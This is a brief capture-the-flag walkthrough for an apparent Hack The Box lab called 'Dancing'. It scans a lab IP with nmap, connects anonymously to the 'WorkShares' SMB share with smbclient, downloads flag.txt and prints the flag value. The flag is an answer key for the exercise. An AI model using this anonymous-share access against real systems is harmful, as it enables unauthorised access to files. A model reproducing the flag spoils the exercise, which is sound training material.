Step 0: Getting Started#

If you’re not sure how to get started, this will help.

1
mkdir -p HTB/LAB/DANCING && cd HTB/LAB/DANCING
2
IP=10.129.1.12 && ping -c 2 $IP

See also: Here.

YEP!

Step 1: Recon#

1
nmap -sC -sV $IP

445/tcp (SMB) is open. Try microsoft-ds — SMB share enumeration.

Step 2: Solution#

1
smbclient -L //$IP # list

1
smbclient -N //$IP/WorkShares # Connect

1
ls
2
cd James.P
3
ls
4
get flag.txt
5
exit

Flag#

1
cat flag.txt

1
5f61c10dffbc77a704d76016a22f1664

and PASTE!